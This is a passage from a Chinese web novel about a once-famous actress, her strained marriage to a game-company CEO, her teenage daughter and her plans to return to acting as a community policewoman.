宁颐然最期待的高校组比赛九点整正式开始。发令枪一响,几十条八人艇就像离弦的箭一样破水而出。伊宁河两岸加油声浪和浆叶击水的响声,一波接一波,潮水般向他们这个方向汹涌而来。 往日平静的河岸沸腾了,宁颐然赶紧拿出手机拍照。果然,她最看好的Q大赛艇队已经冲到前列,八名桨手坐在艇上,肌肉贲张的黝黑手臂同步发力,配合得天衣无缝。力道之大,速度之快,艇身两侧翻涌的浪花形成两道白色水墙。 三个人屏住呼吸,目不转睛地看着。可惜这些队伍速度实在太快了,几个呼吸的功夫就从他们眼前消失。 魏珣看傻眼了:“他们这速度,每分钟浆频得三十五了吧?” 晋扬低头看自己刚才拍的视频:“把吧去掉。我用计数器算了,刚才从我们面前经过的时候,他们每分钟桨频三十八次。到冲刺阶段肯定会飙到四十五以上。” 宁颐然她们平时训练,使出吃奶的劲一分钟才二十多次,算一算这差距实在不小,“那明年如果办青少组比赛,咱们至少桨频得到三十以上才有希望拿奖。” 魏珣摆摆手:“我是参加不了。你们俩去参加吧。我妈觉得赛艇太浪费时间了,她想周末多给我报几个班,所以下学期她不会给我续费了。” 晋扬叹了口气:“我妈也希望我专注在学习上。她对我没报名学校奥数集训队的考试很有意见。她说就算我赛艇就算拿了金牌,也不如进奥数集训队让她开心。” 宁颐然想跟晋扬一起参加混八比赛,拽了拽他的衣服:“你陪我一起参加赛艇比赛,我陪一起参加奥数集训队考试,好不好?” 其实在学校,她数学成绩跟晋扬不相上下,老师也曾经问过她要不要去奥数集训队。但一想到表姐陈穗就在奥数集训队,而且已经是初中队的队长了,宁颐然就不想去。 让她去集训队,然后天天听陈穗指挥?她可受不了。不过,为了让晋扬陪她一起参加赛艇比赛,她愿意牺牲一下。 晋扬对上她那双渴求的眼睛,挠挠头:“我回去跟我妈妈商量一下。看她同不同意。” 听他这么说,宁颐然瞬间开心起来。 三人趴在栏杆上,宁颐然拿着晋扬给她准备的望远镜,牢牢锁住那支紫色的队伍,Q大赛艇队今年前三应该稳了。 现场激昂向上的氛围让她暂时地忘记了烦闷,她拿起手机把刚才拍到的照片转到朋友圈,顺便不忘阴阳一下撇下她去内蒙玩的双亲。为了发这条微信,她解除了对妈妈的屏蔽,也没有对爸爸分组可见。 刚发完,她和两个死党的群就弹出消息来。死党一发来一张照片,“宁颐然,这是你爸妈吧?卧槽,他俩真的抛弃你去内蒙玩了?你妈不是去哪都要带着你吗?” 死党二:“这大数据,我也在红色软件上看到她爸妈照片了。她爸不仅帅,还懂浪漫!” 宁颐然点开她们发的照片,小脸一黑:“这男的不是我爸!” 第37章 第37章四十岁的应真对吵架这件…… 为了离机场近,黄书韵和应真选了一家普通的商务酒店。 这也是书韵特别喜欢应真的一点。即便后来她有了作品,有了知名度,出门在外,还是一点不挑剔,吃住方面都很随意。 应真刚开始跟宁君昊交往时,曾经跟她吐槽过。宁君昊虽然家世一般,但一身的少爷习性。从不吃剩菜,出门要住高档酒店,能用钱解决的事情绝对不会多花一分心思。 所以,当看到那么大游戏公司老板,出现在这间普通的三星酒店,黄书韵还是有些吃惊的。 在她的概念里,宁君昊这种冷漠理性的中年男人,日理万机的游戏公司总裁,大老远追老婆追到内蒙来,就不像他干出来的事。 不过,这次他确实太过分了,应真又是个外柔内刚的性格,也不知道两人会不会吵起来。 黄书韵看着两人离去的背影。应真跟她丈夫有30公分的身高差,站在一旁显得格外娇小。 宁君昊想伸手去牵她的手,她往旁边闪开几步,躲开了,从背影都能看出来她在生气。 黄书韵没想到竟然让她看到霸道总裁吃瘪的场景,只可惜看不到他的表情,她猜想肯定很精彩。 四十岁的应真肯定不会跟丈夫争吵了,但二十五岁的应真可没那么好的脾气。 黄书韵还真担心两口子吵起来,她低头给应真发了信息:“我在餐厅等你,有什么事你喊我。” …… 宁君昊人已经来了,应真原本想在大堂跟他说几句结束。没想到就这么一会功夫,他已经在酒店定了个房间。 应真怕自己真的在外头跟他吵起来,便跟着他去了酒店房间。这种普通的商务酒店,最好的房间也不过是个带独立会客厅和书房的套间。 宁君昊这种出门非五星级酒店不住的人,站在这装修老旧的普通商务酒店房间里,颇有点纡尊降贵的意思。他甚至都不想坐下,除了他老婆,他不想碰这房间里的任何东西。 他不坐,应真也懒得坐。 经过一晚上,她的情绪已经平复,走进房间,神色平静地看着宁君昊:“我看到然然发的朋友圈了,你今天应该在北市陪她看赛艇比赛。毕竟你之前就答应她了。随随便便对小孩食言,会给她造成心理创伤。” 她还没有当妈的心态,但曾经也是个女儿,也被大人放过鸽子。她懂女儿的心情。 宁君昊没想到她还是像以前一样,一上来就聊女儿的事,一肚子话无从说起。 应真继续道:“我想说的昨天电话里已经说过了。我这次下定决心复出,如果你不能接受,那我们只能暂时分开。等会我就要去机场坐飞机回北市了,你没必要追过来。” 应真觉得自己语气已经够冷了,以宁君昊的脾气肯定会控制不住自己,然后两人大吵一架。毕竟他们俩谈恋爱的时候也不是没吵过架。 她不知道结婚这么多年,宁君昊早已经不是当年的宁君昊。 宁君昊一晚上没睡,脸色不大好,眼下有些淡淡青色。人虽然有些憔悴,大脑却格外清醒。 他沉默不语地看着自己老婆,发现她脸色好得很,胸口更难受了,上来抱住她,低声道:“我以为你在生我的气,大老远从北市赶过来。昨天晚上赶到秦毅的牧场,结果扑了个空。早上看到公司公关部发过来的舆情简报,我才知道你昨天晚上已经到锡市了,在酒吧玩了一晚上,出来还捧着别的男人送的玫瑰花。” 宁君昊以为自己能控制好情绪,说到最后还是忍不住咬牙切齿起来,抱着应真的胳膊也不由自主地收紧。 这世上,除了怀里的女人,没有哪个女人能让他这样低声下气了。他郁闷难当,嘴唇贴上她的耳朵,咬牙道:“从秦毅那要到钱,你就那么开心?连自己宁太太的身份都忘了?” 被他的胳膊箍得很疼,应真用力挣扎想甩开他,结果宁君昊搂着更紧了。 这人还真是擅长倒打一耙,话里话外都在埋怨她。反正从他的角度出发,永远都是别人的问题。 应真意识到,刚才那一瞬间她差点被他的思路带偏。宁君昊吃准了她心软,以退为进地转移焦点。 他不反省自己,还试图让她反省。 这次她却不想这么放过他,用手抵在他胸前,从他怀里钻出来,一双眼睛冷冷地看着他:“宁君昊,我以为你是来跟我道歉的。没想到,你一开口全是我的问题。你有什么资格说我?如果不是你在背后搞那些见不得人的小动作,我和黄书韵根本不需要跑到内蒙来。” 宁君昊脸上的线条冷硬下来,沉黑的眼睛也变得冰冷。 中年男人气场非年轻时所能比拟。应真才不怕他,不甘示弱地瞪着他,原本温柔的眼眸里燃起两团怒火:“你是不是觉得全天下你最聪明,别人都是笨蛋?你知道尊重两个字怎么写吗?” 宁君昊之所以着急从北市赶回来,是担心她得知是他让秦毅撤资后,会像刚结婚那几年一样,情绪激动,伤心难受。 其实,他不太愿意回想女儿刚出生那几年,他和应真的婚姻在那几年经历了巨大的考验。尤其是,应真生完女儿后,经常一个人莫名其妙地哭泣。那几年的夫妻生活更不用说。直到女儿慢慢长大后,他们的感情才回温了一些。 宁君昊觉得应真失忆后这段时间的夫妻生活,是他们结婚这么多年他感觉最好的一段时间。妻子不再满心满眼都是女儿,重新又像刚结婚的时候那样依恋他,夫妻生活也前所未有的和谐。宁君昊觉得现在的婚姻生活就是他梦寐以求的。 看到应真不为所动,他也不再掩饰自己的情绪。 “我为什么不想秦毅投资你们?他对你什么想法,我不信你没看出来。”一想到她当年回了秦毅那么多信,宁君昊就止不住的醋意翻涌,“不知道他是投资人倒也罢了,知道他投资了你主演的电影,还知道他当年暗恋你,给你写了那么多信,我就不能容忍。作为你的丈夫,我不能接受这样的男人在你身边转。” 听到他说秦毅“暗恋”自己,应真只觉得太离谱了。她是个演员,她无法做到像宁君昊那样简单归类任何一种感情,尤其在知道秦毅的成长经历后。 看着宁君昊丝毫不反省自己的模样,她已经完全不想多说,面无表情地看着他:“秦毅能放弃美国的生活,一个人跑到草原去开牧场,就说明他不是你说的那种俗人。而且,他不像你,他懂得尊重。” 四十岁的应真在十几年里婚姻对吵架这件事早已倦怠,二十五岁的应真却很懂得如何杀人诛心。 宁君昊被老婆气得脸色铁青,却又无话可说,兜里的手机响了,是公关总监打过来的。那头说了句什么,宁君昊眉头紧皱着,脸上怒气未消:“发!给我全网铺开了发!” 上回应真见了宁君昊几个下属,知道他在公司里管理是很严格的,他并不是那种跟下属打成一片的老板。 应真等他接完电话,开口道:“秦毅已经同意重新投资了。我们的项目马上要开始了。是你耽误了我们的项目进度,在你向我和我的两位合伙人道歉之前,我没什么好说的。我回去收拾行李去机场。” 她每说一个“我们”,宁君昊脸色便难看一分。 看应真要开门离开,他上前拽着她的手,沉着脸道:“你可以复出拍结婚十年,但别让秦毅投。需要多少钱,你告诉我。” 宁君昊难得做出让步,却听应真道:“我们还是分清楚点好。” …… 黄书韵没想到应真说15分钟就15分钟。15分钟后,她上楼,看到应真已经在收拾行李了。 “宁君昊说什么了?你们没吵架吧?” 应真跟宁君昊吵完,只觉头昏脑胀,语气索然:“我发现男人上了年纪,根本不会反省自己。我以为他是来跟我追歉的,没想到他一开口全是我的错。说实话,刚才我也有些困惑,搞不清楚宁君昊是结婚后变成这样的,还是他原本就是这样的人,是我当年眼神不好,没看出来。” 黄书韵看她眉眼间全是失落,叹了口气,劝道:“男人不能光看他们说什么,还要看他们做什么。宁君昊大老远从北市追过来,说明他还是很在意你,怕你生他的气的。” 应真一脸淡漠。他要是怕她生气,就不会说那种不知悔改的话了。他这里千里迢迢过来训她呢。 * 原本宁颐然跟晋扬、魏珣约好了,中午一起吃午饭,然后看下午比赛的。 看到死党发的帖子,她也没心情跟他们一起吃饭了,打车直接回了奶奶家。国庆在奶奶家待够了,她想收拾东西回自己家。 回到奶奶家,站在玄关就听到里面传来说话的声音。宁颐然换了鞋子进门,便看到奶奶跟那位自称是爸爸前女友的宋阿姨正坐在沙发上聊天。 宋幼萱看到她回来了,热情地跟她打招呼:“然然,你今天去看赛艇比赛了?怎么样?好玩吗?” 宁颐然兴致并不高,随口道:“还行吧。” 何方珍本来脸色就不好,看到孙女这副样子,生气道:“你这孩子,怎么不喊人,一点礼貌没有。” 宁颐然可不想喊什么宋阿姨,她冲宋幼萱点点头,叫了声“Yolanda”。 然而便噔噔噔地上楼了,何方珍有些不快,冲她背影道:“你这孩子喊的什么!” 宋幼萱忙在一旁道:“阿姨,Yolanda是我的英文名。我在公司里,同事们也这么喊我。” 宁颐然在奶奶家待够了,上楼开始收拾自己的物品。 宋幼萱来奶奶这边,来得比她妈都勤,也不知道她安的什么心。看来她不知道爸爸跟奶奶之间的关系很冷淡,走奶奶这边的路子,在爸爸那根本起不到什么作用。 这一趟来奶奶家,宁颐然也没带什么东西,背着书包就下来了。 何方珍看孙女背着书包下楼,有些意外:“然然,你爸妈又不在家。吃完晚饭再回去。今天宋阿姨带了进口和牛过来。” 宋幼萱微笑道:“是啊。你一个人打车回去多不安全。我开了车过来,吃完饭,我送你回家。” 宁颐然拒绝:“不了。我爸妈下午就回来了。明天要上课,我早点回去。” 何方珍看孙女这么懂事,想到刚才小侄媳苏苒发到她手机的东西,不免对儿媳愈发不满:“你说你妈一天到晚干什么,跑到内蒙去,你爸也跟着追过去。一把年纪了,撒下孩子不管,也不知道怎么想的。你爸的公司都要上市了,她又搞出那么多事来。我早就跟你爸说,不要在演艺圈找老婆。没文化,见识短,还虚荣……” 自打知道奶奶逼着她妈生儿子,宁颐然跟奶奶就有了隔阂,现在听她在外人面前,尤其是宋幼萱面前,说她妈妈这不好,那不好,简直像当众打她耳光一样。 宁颐然反骨也上来了,生气道:“奶奶,这么多年,我爸都没说他老婆什么,你天天说!难怪我爸不喜欢来你这!” 几句话气得何方珍快撅过去。这孩子一张嘴完全遗传了儿子,知道怎么让她不痛快。 老太太气不过:“我哪天天说了?你看看网上那些人发的吗?你妈放着好好的日子不过,跑到内蒙去玩,一把年纪还去酒吧喝酒,跟那些不三不四的人玩。” 听孙女说儿媳妇提过“离婚”的事,老太太越想越不对劲。这些年应真在她面前装得可真好,儿子公司要上市了,就开始露出狐狸尾巴了。孩子也不管,发信息给她,她也不回。 这人怎么能变化这么大,何方珍思来想去,只有一个原因,都是一个“利”字闹的。 宁颐然不咸不淡地回道:“奶奶,你不要见风就是雨。我爸公司帐号刚转发了一个我爸妈的采访视频,游戏公司总裁的一天,我妈有出镜。你们自己去看,他们感情好着呢,一时半会离不了!” 她爸妈感情怎么样,她不知道。但是妈妈在内蒙酒吧射箭的视频上了热门,还有人把妈妈身边她不认识的男人当作她爸后,爸爸公司那边很快就把上回采访的视频放出来了。 很明显,在公司上市成功之前,爸爸妈妈是不会离婚的。 “我回家了。” 手机上叫的车已经到了,宁颐然懒得跟奶奶多说,背着书包走了。 孙女走后,何方珍让宋幼萱找出那个视频给她看。宋幼萱打开微博,果然看到奇技官方帐号转过了一家媒体的微博。 一家名叫《Go!life》的媒体发布了一个题目为《游戏公司总裁的一天》的视频,主角虽然是宁君昊,但里头他妻子应真和夫妻俩出镜的内容占了八成。 何方珍戴着老花镜看完了视频,不说话了。儿媳妇一上镜跟平时瞅着完全不是同一个人。眉是眉,眼是眼,模样过得去。说话也不紧张,倒是儿子看着有些不自在。 “演员就是演员,对着镜头倒是演得蛮像那么回事。” 宋幼萱没心情附和老太太。她的目光落在镜头里那交握在一起的手指上。 生活类的媒体拍出来的视频非常温馨唯美,相貌出众的中年夫妇手牵着手站在树下,十指交握在一起,无名指上同款素戒,看似低调,落在宋幼萱眼里却是最高调的炫耀。 素戒,plainband,以极简形式承载最厚重的承诺。 这一定不是宁君昊的主意,他说过他只会送老婆钻石。 …… 回家路上,宁颐然又打开红色软件,说实话,她很难把那个骑在马背上的女人,酒吧里射箭的女人跟她妈妈联系在一起。 她们无一例个都有着冰冷的眼神,而她妈妈不是这样的。从她记事起,妈妈看她的眼神永远盛满了温柔。随着她一天天长大,她甚至有点厌烦妈妈那种温柔到无微不至的关怀了。 虽然刚才在奶奶面前嘴硬,宁颐然还是想到最近妈妈种种反常举动,难道她真的要在爸爸公司上市前跟爸爸离婚? (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)宁颐然脑子有些乱,她发现竟然从未认真思考过这个问题,可是此刻冒出来的念头竟然是:她不想他们离婚。 她已经十四岁,如果父母真的要离婚,她肯定会选择跟爸爸一起生活。可是爸爸现在才四十四,以他的年纪身份,他肯定还会再婚。 虽然宁颐然很烦妈妈,可是她更不想让别的女人来给她当妈。 宁颐然坐在车上胡思乱想,不知不觉到家了。原以为家里会像她离开时一样冰冷,没想到一推开门便闻到一股浓郁的肉香。 应真刚回来,炖了一锅牛腩,晚上想随便煮个牛肉面。听到门口的动静,她抬头,看到女儿站在门口。 她第一次在女儿脸上看到类似窘迫和无所适从的表情。 她只个十四岁的小女孩,应真提醒自己。 应真深吸一口气:“你先去洗手吧。晚上吃牛肉面。” 第38章 第38章“应老师,合作愉快。”…… 宁颐然一整天都没吃什么东西,肚子饿死了。 洗了手过来,晚餐已经摆上桌。不像往常荤素搭配,营养均衡的几菜几汤,只有一碗铺满牛肉的面条。 宁颐然吃了一口,被呛得满脸通红,她没想到这么辣,赶紧端起桌上倒好的水喝了一口。 眉头随之皱了起来:“怎么这么辣?” 她不能吃辣,爸爸也不爱吃辣。从小到大,家里餐桌从来没出现过辣的食物。她以为妈妈也跟他们一样不吃辣。 应真看她辣得脸通红,突然意识到什么,忙道:“我以为你今天在奶奶家吃晚饭。你要是觉得辣,我给你弄个西红杮浇头吧。” 言下之意,这晚饭根本不是为她准备的。宁颐然有些不高兴,差点张口说,你为什么不打电话问我回不回家吃晚饭。 以前她在奶奶家住,妈妈总是担心她吃不习惯,睡不习惯。这一回,竟然一句也没有问! 宁颐然小脸垮了下来,一抬眼对上妈妈的目光,那目光里只有询问的意思,没有任何歉意,她一口气堵在胸口,有些生硬地拒绝道:“不用了。就这样。我能吃。” 她没吃过这么辣的红烧牛肉,只觉得口腔里像是起了火。吃的时候,她又看了妈妈一眼。妈妈一口接一口地吃着,看上去对辣一点感觉没有。 没想到妈妈这么能吃辣! 吃了几口后,宁颐然觉得除了辣,味道好像还行。 应真听她说能吃,便也坐在那儿没动,继续安心地吃自己的面条。 母女俩面对面一起吃晚饭,餐桌上实在太安静了。安静得宁颐然浑身不自在,忍不住问:“爸爸呢?” “他应该去公司了。” 应真自个坐飞机回北市,也没管宁君昊怎么回来的。 她没有跟女儿说自己跟宁君昊吵架的事,很多事情感觉没跟小孩说清楚。 “明天开始,我有工作安排,我和你爸爸商量了一下,以后让李叔叔送你上下学。” 宁颐然“哦”了一声,没再说什么。她反正也没多喜欢妈妈送她上下学,路上要忍受她的唠叨,蛮烦的。 李叔叔是爸爸的司机,话不多,人看上去还算老实。最重要的是她爸花钱雇的人,全听命于爸爸,在她面前也只敢点头哈腰,没人敢说她不爱听的话。 以后上学放学路上,耳根清静,没人敢管她,多好。 妈妈不送她上学,无非是她要复出拍戏了。她要拍就去拍吧,就像奶奶说的,出去吃吃苦头,就知道爸爸赚钱有多不容易,在家当全职主妇有多幸福。 宁颐然心里冷哼,突然听到妈妈问她:“这几天在奶奶家怎么样?” 宁颐然撇了撇嘴:“不怎么样。奶奶看到别人拍的你在内蒙玩的视频,很生气。还问我,你是不是打算跟我爸离婚。” 女儿虽然在转述婆婆的话,但应真还是听出她话语的情绪,面色淡了下来:“我去内蒙,也不是去玩的。我们那部电影的投资人在那开牧场,我和黄阿姨去找他有事。” 黄阿姨是妈妈的编剧朋友,这个宁颐然还是知道的。不过,妈妈说的这些并不重要,她只关心一件事:“妈,你不会真的打算跟我爸离婚吧?” 应真抬眼看着她:“你为什么这么问?” 宁颐然一副“你可真健忘”的表情:“前段时间你问过我啊,你就忘了?你问我,要是你跟我爸离婚,我愿意跟谁一起生活。” 应真愣了愣,自己竟然问过女儿这样的问题?她不知道这档子事,顺手将问题抛给女儿:“那如果我真的打算跟你爸离婚,你愿意跟谁一起生活?” 宁颐然不吱声了。从小到大爸爸跟妈妈的感情就很一般。她觉得她爸妈是那种典型的富豪和女明星的结合。一个图色,一个图钱。只是她爸除了有钱,年轻的时候长得也帅,还是Q大高材生。而她妈除了长得好身材好,好多年前拿过一个影后头衔,没什么拿得出手的了。 反正,她觉得她爸妈的结合,现在看是妈妈更占便宜。 于是她发自肺腑劝道:“妈,你还是别跟爸爸离婚了。爸爸公司那么值钱,现在跟他离婚,这么多年的努力不是白费?你要是真的跟我爸离婚,也找不到比他更有钱的男人了。” 应真:???? 这孩子说的是个什么话?应真看着女儿那双澄明的眼睛,才意识到这孩子说的是真心话。 原来在女儿眼里,她和宁君昊的婚姻是这个样子? 门口玄关传来动静,宁君昊拎着包回来了。母女俩的谈话戛然而止。 宁颐然跟爸爸打了个招呼,便起身回了房间。 应真也吃完了,皱着眉头看着女儿的背影——这孩子的思想太有问题了。 宁君昊拎着电脑上楼,应真不想搭理他。吃完饭继续读剧本,去健身室跑步,然后洗漱开始护肤流程。 年轻的时候,应真在护肤上是很随意的,不拍戏的时候她很少化妆,更不会过度保养。岁月不饶人,现在每天她都遵循严格的护肤流程,花在脸上的时间起码一个小时起。 她在想下周跟岗体验的事。《结婚十年》里的女主角元珊是个女民警,在社区派出所工作。 应真没有挑战过这类角色,她已经看了好几部她欣赏的女演员演的警察相关电视剧,观摩她们的表演方式。 但是元珊这个角色似乎跟已往影视作品里呈现的女警察都不一样。 在《结婚十年》里,元珊丈夫工作繁忙,她大半精力都在家庭上。像所有没什么上进心的中年人一样,在单位混一份薪水,做一天和尚撞一天钟。上司派的活,能躲就躲,不求有功,但求无过。 在派出所,她就是个没什么存在感的老油条,业务能力也差。好在她情商高,会做人,跟领导和同事相处倒也融洽。年轻人虽然不爱跟她搭班,表面上对她还客客气气的。 结婚第十年,元珊丈夫开了几家餐饮店,事业有成,刚上小学的儿子聪明可爱,她自己有稳定的工作。元珊家庭生活幸福,她对自己的现状很满意,比上不足,比下有余。 直到有一天,在抓捕行动中,元珊和同事在一家足疗店,亲眼目睹了老公**现场,她的世界坍塌了。 《结婚十年》其实是个中年女人破碎又重新将自己缝合起来的故事,在不求上进安于现状的背后,元珊是个非常坚韧,能扛事的女人,整个人物弧线很完整。 作为一个体验派,应真还需要搜集一些感性素材,在现实中去感受从事警察工作的女性。 应真没有职场体验,扮演女民警,对她来说是个很新鲜的尝试。而一个女性人物破碎重组的过程也正是她非常想尝试的。 * 宁君昊处理完工作的事,以为应真已经睡了,走出书房听到主卧传来说话的声音。 应真正在跟余姐打电话。上回她的视频在红色软件上爆火后,又有商务来联系她。都是些VR设备、运动服饰之类的品牌,应真打算复出,对于商务活动她不排斥,便请求余姐继续担任她的经纪人。 所以,最近余姐已经给她安排了两个品牌软广的拍摄:“那个VR拍摄的脚本我发给你了,你看一下。对了,还有那个派出所,已经联系好了。滨江那边的北门派出所。” 一听说跟岗体验的派出所联系好了,应真就很开心:“太好了。余姐最棒了!” 都退圈当了十几年富太了,应真还用以前的口气跟她说话,余姐有点不习惯,顿了顿继续道:“你去北门派出所联系一个叫林莉的民警,跟着她体验一下。林莉比你小几岁,也是个妈妈,有个六岁的儿子。” 应真:“余姐,我还想去她家参观一下,行吗?我想看看她居住环境,平时爱好习惯。” 余姐:“应该没问题。等会我把她的手机号给你,你自己跟她联系吧。” 两人又聊了一下项目进度的事。秦毅投资的事定下来,余姐的进度也很快,“现在就等李长风那边的消息了。只要他确定下来,就可以开始剧本围读,十一月中旬开机应该没啥问题了。” 应真知道现在最忙的就是她和黄书韵:“余姐,你辛苦了!有什么需要我的,你尽管提!” 选角是黄书韵在主导,余姐也会跟她一起把关。先前联系的几个演员都给了回复,确定出演,现在只剩下男主江游还没确定下来。 在戏里,江游曾经是前途看好的警界精英,却因为一次执行任务中的意外,被发配到元珊所在的派出所当所长。 江游律人律已都极为严格,不甘心下派到基层,想要在派出所大展拳脚,做出成绩让上面刮目相看。混日子的元珊因此成了他的重点关注对象。 刚好元珊在一次扫黄抓捕行动中出现工作纰漏,江游便借机想将她调走,将这个不求上进的基层老油条精减出自己的队伍。然而他刚跟元珊谈完话,就接到一条陌生短信,说他妻子出轨。 江游顺藤摸瓜,发现是元珊发的短信,起初他以为是她报复自己的恶作剧,后来才发现自己老婆真的出轨了,而出轨对象正是元珊的前夫。 高高在上的江所长被“绿”,而且还被一个他瞧不上的下属发现了。江游颜面扫地又气急败坏,拉着元珊一起去帮他抓奸。 于是“绿帽”两人组在去抓奸的路上,发生了各种啼笑皆非的事。 小说是围绕“背叛”主题展开,还给元珊安排了个悲剧结尾。但黄书韵写剧本的时候并没有往沉重的方向走,而是把着脚点落在抓奸路上各种阴差阳差的事情上面,并且最终男女主两人在这个过程中完成了相互救赎。 …… 元珊的前夫,黄书韵选中了跟应真在《孤影江湖》里有合作的谢松之。谢松之当年是《孤影江湖》的男三,现在是电视剧圈很火的叔圈天菜,由他于来演斯文败类的前夫哥正合适。 谢松之演了这么多年电视剧,一直想重回电影圈。所以黄书韵联系他的时候,他爽快答应了。 而江游的人选,黄书韵一直属意李长风。李长风是这些年颇具流量的小生,在网上也很活跃,网感很强,有着“娱乐圈第一段子手”之称。虽然近几年没什么出圈作品,粉丝还是挺死忠的。 黄书韵在《千帆雪》跟他有过合作,知道他现实中并不是网上所呈现的“乐子人”形象。他对演戏一直有着很高的追求,但近几年一直没有接到特别合适他的本子。 到了三十五的年纪,李长风也开始着急了。当年的小鲜肉,慢慢变成老鲜肉。演艺圈后浪来势汹汹,如果一直没有作品,慢慢就被拍到沙滩上了。 黄书韵把剧本发给李长风,李长风一直没回复。手上虽然也有其他人选,但是她一直还在等李长风那边的消息。 …… 挂完电话,应真看到三人群里黄书韵发了一条信息@她:“真真,李长风那边回了,他说对剧本挺感兴趣的,但是签合同之前,他想跟你聊聊。” 黄书韵没说那么详细,其实李长风打电话给她时,很兴奋,说他好久没看到这么有趣的本子了。尤其后半段剧情,笑得他大腿快拍紫了。 “书韵姐,我知道你写小说,但没想到你写得这么精彩。你肯定是看出我身上有喜剧人的特质,才想让我来演江游的吧?” 黄书韵笑道:“这一次我希望你反着演,用很严肃的表演方法来演喜剧。” 李长风知道有些事情没法在电话里说清楚,具体的表演方式还得在实际拍摄过程反复校准。 “书韵姐,我有个要求,正式签合同之前,我想跟应真老师见一面。” 说实话,得知剧里的女主角元珊由应真来饰演,李长风有些惊讶。毕竟淡出演艺圈这么多年了,突然又出来拍电影,还是演女主角,他对应真为什么要演这个角色有些好奇。 还有个他不好明说的点,他对跟自己有大量对手戏的女演员的业务水平也是有要求的。 说白了,他想知道应真是出于什么心态来演这部电影,以及——她能不能胜任这个角色。 …… 应真看到黄书韵在群里发的,回了条:“好啊,你约个时间吧。” 黄书韵先前就说打算请李长风饰演男主,应真没听过这个名字,便到网上去搜索了他最近的一部古装剧,看了几集,心里对对方的表演方式已经大概有数了。 说实话,她也觉得李长风外形气质挺适合演江游的,他有很硬汉很禁欲的一面。 放下手机,应真用平板搜索红色软件上网友推荐的一部美剧,开始看了起来,女主角是美国一名底层警察,演员的演技太精湛了,应真很快被带入进去,看到女主角儿子上吊自杀,忍不住开始流泪。 宁君昊推门进来,应真听到动静,拿平板挡住自己的脸,嗡声道:“你睡书房吧。我晚上想自己一个人睡。” 宁君昊这两天快被这个女人气死了,然后仍然克制着自己的情绪:“这么大的床,还不至于躺不下两个人吧?你放心,你老公我这两天已经快累出功能障碍了。就是躺在你旁边,也有心无力。我现在只想好好睡一觉。” 虽然结婚十几年后,他跟应真在同一个屋檐下,已经是分床睡的状态。但是应真失忆这段时间,他们没有再分过床,每天搂着老婆睡,软玉温香抱满怀,被她腻在怀里,这滋味实在太好了。 宁君昊食髓知味,他实在享受被老婆抚摸亲吻拥抱的感觉,每当这个时候,他才意识到不只他对她有欲望,她对他也有欲望。 再次感受到应真在身体和精神层面对他的需要,宁君昊对这种感觉很上瘾。 现在应真又提出分床睡,他当然不能接受。 …… 应真惊讶于他能说这种厚脸皮的话。这男人上了年纪就是不一样,换作以前,吵架后她如果提出分房床,他肯定早就气得扭头回书房了。 她随口嘟囔道:“都一把年纪了,本来功能也不怎么样。” 宁君昊正准备衣帽间拿衣服去洗澡,听到这,折返回来,面色沉沉地看着正在看平板的女人,“你刚才说什么?” 应真听到他咬牙切齿的语气,才意识到自己刚才说了什么。 不过,她说的是实话啊。四十岁难道还能跟三十岁如狼似虎的时候比吗?就像刚结婚的时候,前三天他们连房门都没出过。最后她的身体都想不起来,他不在里面是种什么感觉,求着说“不要”,他才放过她的。 应真正沉浸在剧情当中,被打断有些不耐烦,翻身右侧卧,右手撑着脑袋,目光一直盯着平板上,淡淡道:“没什么。” 然后下一秒,她的平板被人拿开,一抬头,宁君昊那双墨沉的眼正看着自己,脸色难看之极,薄唇紧抿着。 宁君昊本来想跟她好好理论理论,对上她那双微肿泛红的眼睛,所有话瞬间哽在喉咙。 应真看他脸上线条一点点软化下来,伸手要碰自己的脸,下意识挡开他的手,冷道:“我刚才在看美剧,哭跟你没关系。你干的那些事可不值得我哭。” 她脸上又出现年轻应真生气时才会有的倔强。 宁君昊深吸一口气,扯动唇角,语带讥诮:“我忘了你现在只有二十五岁,开始用‘一把年纪’来形容我了?” 应真觉得自己又被他带歪了,“随你怎么说。你不过仗着我对你的感情,一再触碰我的底线。我告诉你,这一回,我不会让了。” 她关灯睡觉,不再搭理他。 宁君昊咬着牙,看着被被子裹住的小小一团,胸口剧烈起伏着,半晌才道,“你刚才说的话也是我想对你说的。我说过了,你如果很想了出演女主角,我让步。拍完三个月的戏,回来继续当好宁太太,我就当放你三个月的假。但我不希望你跟秦毅继续接触,我让光渊出面投资你们项目……” 应真觉得这人没救了,面无表情地起身,鞋也懒得穿了,光着脚丫子用力将他推出去,然后将主卧门关上反锁。 宁君昊听到门后锁转动的声音,气得一言不发地转身去了书房。 …… 第二天一早,宁颐然起床,发现妈妈只给她做了早餐,没做爸爸的,就知道这两人还在吵架。 妈妈做完早餐去运动了,宁颐然一个人吃早饭。没过一会,爸爸穿着一身正装,拎着电脑下来了。 家里的咖啡机,爸爸不会用,宁颐然看爸爸拿着杯子给自己倒了杯水,忽然觉得爸爸好可怜。 她将自己的早餐分出一半:“爸爸,我吃不完这么多。” 宁君昊看着女儿脸上乖巧的表情,感到一丝欣慰,“你吃吧。等会我送你去学校,然后去公司食堂吃。” 奇技有员工食堂,他只是习惯在家里吃早餐罢了。这么多年,应真知道他和女儿爱吃什么,花很多心思给他们准备早餐。就连咖啡都做得比外面咖啡店的还好喝。 只是往常应真再生气,还是会给他做咖啡的,今天连咖啡都没的喝。 宁颐然看爸爸面色沉沉地将杯子放下,乖乖闭上嘴巴。 应真在负一楼的健身室做瑜珈,没有欣赏到宁君昊的表情。等她做完运动上楼,父女俩已经不在家了。 空无一人的家,连空气都飘着自由的气息。应真开始给自己做早餐,吃完早餐打电话给那位叫林莉的警察。 电话那头,林莉很热情,让应真周五去找她,“周五我值班,负责片区的110警情处置。到时候如果有外勤要出,你正好可以和我一起。” 应真应了下来,又道:“林警官,我有个冒昧的请求,我想去你家里看看,可以吗?” 林莉爽快答应下来:“可以啊。到时候你提前联系我,我把我家里地址发给你。周五我下午一点开始上班,你先到我家里,到时候我们一起去我单位。反正那天你就跟我混,我带你去体验一下我们派出所的食堂。” 从电话里就能听到林莉是个性格爽朗的女人,还没见面,应真就对她印象很好。 * 创梦文化传媒有限公司正式成立,余姐在影视公司集中的城东区域租了个两间的办公室。 黄书韵那边很快跟李长风约好了时间,地点定在她们公司旁边的茶馆。 到了约定那天,为了表示尊重,应真、余姐和黄书韵提前到了那儿。李长风和经纪人也准点赶到了。 李长风比应真小五岁,原本他经纪人还担心两人外型不匹配。在看到应真的那一刻,经纪人放下心来。 